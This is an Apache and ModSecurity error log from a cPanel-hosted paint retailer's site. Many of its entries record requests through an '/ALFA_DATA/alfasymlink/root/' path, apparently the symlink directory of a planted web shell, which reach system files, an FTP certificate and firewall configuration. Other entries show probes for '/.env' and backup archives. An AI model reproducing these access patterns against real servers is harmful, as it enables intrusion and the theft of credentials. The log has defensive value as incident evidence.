[Sat Oct 24 14:31:03.064232 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.229.95.193:11720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:07.016487 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 98.82.40.168:38010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:12.105700 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.86.59.155:57882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:15.044097 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.196.118.6:29125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:18.175470 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.6:65160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:18.175704 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.6:65160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/253:0/stat"] [unique_id "atz5dj8oejtZfsaip1YktQAAABE"]
[Sat Oct 24 14:31:18.175747 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.6:65160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/253:0/stat"] [unique_id "atz5dj8oejtZfsaip1YktQAAABE"]
[Sat Oct 24 14:31:31.012028 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 52.54.157.23:61618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:38.931832 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 52.200.58.199:53691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/uevent
[Sat Oct 24 14:31:43.130706 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.29.160.53:8936] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:46.083795 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 85.208.96.197:21860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:31:58.943369 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 52.3.104.214:38028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0_wc
[Sat Oct 24 14:32:03.241462 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.193.102.198:47807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:07.237129 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.222.85.38:49092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:15.103476 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.174.141.243:53758] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:23.036779 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 3.212.219.113:35779] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/uevent
[Sat Oct 24 14:32:27.051709 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.216.227.216:40402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:31.048885 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 23.21.227.240:19718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/uevent
[Sat Oct 24 14:32:35.064022 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.204.89.12:26510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:39.320885 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.215.231.15:18561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:44.397409 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.19:56368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/shrink
[Sat Oct 24 14:32:47.257384 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.156.55.147:5881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:51.044724 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 23.23.180.225:7318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:32:55.113190 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.6.97.88:42719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:04.296392 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.89.176.255:25937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:06.471775 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 85.208.96.197:48268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/min_partial
[Sat Oct 24 14:33:07.018976 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.213.27.222:62645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:07.019191 2026] [security2:error] [pid 2677775:tid 2677775] [client 18.213.27.222:62645] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/dma_mask_bits"] [unique_id "atz54w5nrLV5krwbFOTxJgAAAA4"]
[Sat Oct 24 14:33:07.019374 2026] [security2:error] [pid 2677775:tid 2677775] [client 18.213.27.222:62645] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/dma_mask_bits"] [unique_id "atz54w5nrLV5krwbFOTxJgAAAA4"]
[Sat Oct 24 14:33:11.077095 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.214.251.19:10005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/acpi-fan/uevent
[Sat Oct 24 14:33:15.423811 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.87.62.248:17063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:19.402477 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 18.232.36.1:23889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:23.362248 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 100.28.118.16:20395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:31.692376 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.223.116.149:50842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:39.210382 2026] [ssl:error] [pid 2684583:tid 2684583] (22)Invalid argument: [client 3.212.205.90:19499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:43.406771 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 50.19.102.70:7372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:46.283708 2026] [proxy_fcgi:error] [pid 2678927:tid 2678927] [client 105.172.24.76:52668] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 14:33:47.414403 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.3.127.170:9205] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:51.210890 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.21.204.95:12063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:55.484676 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.45.92.83:6336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:33:59.536595 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.213.70.100:54312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:01.397394 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 85.208.96.210:13346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/pure-ftpd.pem
[Sat Oct 24 14:34:03.545043 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.207.89.138:14477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:07.349596 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.194.14.255:33709] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:11.349906 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.8.142:54026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:15.726196 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 100.28.57.133:41916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:0f/eject
[Sat Oct 24 14:34:20.026387 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.54.95.127:38629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:23.481557 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.223.193.255:27317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:31.316449 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 54.235.191.179:41452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/unbind
[Sat Oct 24 14:34:35.416643 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 50.16.72.185:15900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/eject
[Sat Oct 24 14:34:39.522303 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.220.2.97:43566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:41.267939 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 185.191.171.19:12474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/slabs
[Sat Oct 24 14:34:43.528831 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.89.176.255:4677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:34:55.810273 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 3.221.244.28:12456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/rescan
[Sat Oct 24 14:34:59.415144 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.193.115.232:14584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:03.636857 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.70.209.13:34662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:08.306657 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 18.210.58.238:28173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:08.456838 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.17:47304] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/cpanel/csf.conf"] [unique_id "atz6XA5nrLV5krwbFOTxKgAAAA4"]
[Sat Oct 24 14:35:08.457231 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.17:47304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/cpanel/csf.conf"] [unique_id "atz6XA5nrLV5krwbFOTxKgAAAA4"]
[Sat Oct 24 14:35:08.457641 2026] [security2:error] [pid 2677775:tid 2677775] [client 185.191.171.17:47304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/cpanel/csf.conf"] [unique_id "atz6XA5nrLV5krwbFOTxKgAAAA4"]
[Sat Oct 24 14:35:15.440908 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.219.81.66:27798] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:19.029435 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.11:13480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/usersize
[Sat Oct 24 14:35:19.488109 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 23.21.179.27:22860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/eject
[Sat Oct 24 14:35:21.120402 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 85.208.96.206:11556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/align
[Sat Oct 24 14:35:23.735586 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.235.172.108:21630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:27.628691 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.224.215.150:1713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:39.486077 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 98.84.60.17:10241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:35:43.468685 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.212.205.90:61508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/type
[Sat Oct 24 14:35:47.798816 2026] [security2:error] [pid 2684517:tid 2684517] [client 43.167.232.38:46900] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/digitalmailmx_backup.tar.gz"] [unique_id "atz6g8CPy-URSwxIVqbqygAAAAI"]
[Sat Oct 24 14:35:51.890062 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.2.4.213:42135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:07.664267 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.231.181.240:46288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:23.756259 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.208.11.93:36799] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:27.703033 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 34.236.41.241:37867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:31.645970 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 100.28.44.58:16670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/uevent
[Sat Oct 24 14:36:35.882452 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.219.81.66:58209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:39.910179 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.202.233.37:1132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:43.381891 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.10:18738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/cpu_partial
[Sat Oct 24 14:36:44.483708 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.200.93.170:4627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:46.697353 2026] [security2:error] [pid 2684517:tid 2684517] [client 130.12.180.165:62226] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz6vsCPy-URSwxIVqbqzAAAAAI"]
[Sat Oct 24 14:36:46.697613 2026] [security2:error] [pid 2684517:tid 2684517] [client 130.12.180.165:62226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz6vsCPy-URSwxIVqbqzAAAAAI"]
[Sat Oct 24 14:36:46.697919 2026] [security2:error] [pid 2684517:tid 2684517] [client 130.12.180.165:62226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz6vsCPy-URSwxIVqbqzAAAAAI"]
[Sat Oct 24 14:36:51.520256 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.89.176.255:45386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:36:55.908819 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 34.231.45.47:7119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/iosf_mbi_pci/remove_id
[Sat Oct 24 14:37:07.658371 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.6.97.88:42490] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:15.945030 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 100.29.155.89:43035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:23.569471 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 52.200.54.136:53439] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource0
[Sat Oct 24 14:37:29.079797 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 85.208.96.204:30876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:31.884817 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.236.41.241:52360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:43.526143 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.200.58.199:29289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:47.798750 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 44.207.252.58:18385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Sat Oct 24 14:37:51.558664 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.211.105.134:26560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:37:55.541645 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 35.171.117.160:46228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:38:07.827937 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 23.21.148.226:36129] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:17/eject
[Sat Oct 24 14:38:11.644173 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.84.147.79:61608] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:38:15.469169 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 54.204.12.115:7484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory14/subsystem/drivers_probe
[Sat Oct 24 14:38:16.295995 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 85.208.96.201:27988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/red_zone
[Sat Oct 24 14:38:27.505877 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.229.2.217:2448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:38:35.482944 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.225.181.161:44849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:38:47.825465 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.203.65.83:40166] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:39:03.256542 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.209.201.119:36650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:39:11.412514 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.45.92.83:24904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/device:1c/eject
[Sat Oct 24 14:39:27.336128 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.233.24.238:63793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:39:32.217190 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.23.214.190:27924] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:39:59.352965 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.167.32.123:1927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:40:15.720148 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.166.126.132:53720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:40:34.777668 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.208.193.63:28359] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:40:42.474453 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 85.208.96.205:59550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-64/order
[Sat Oct 24 14:40:42.853782 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 52.3.104.214:24451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:07/eject
[Sat Oct 24 14:40:46.159625 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.3:46206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/cpu_partial
[Sat Oct 24 14:40:46.857819 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 50.19.221.48:18555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:40:50.823541 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.223.116.180:43525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:40:58.691864 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.204.81.148:4939] AH02013: coalesce failed to read from data bucket
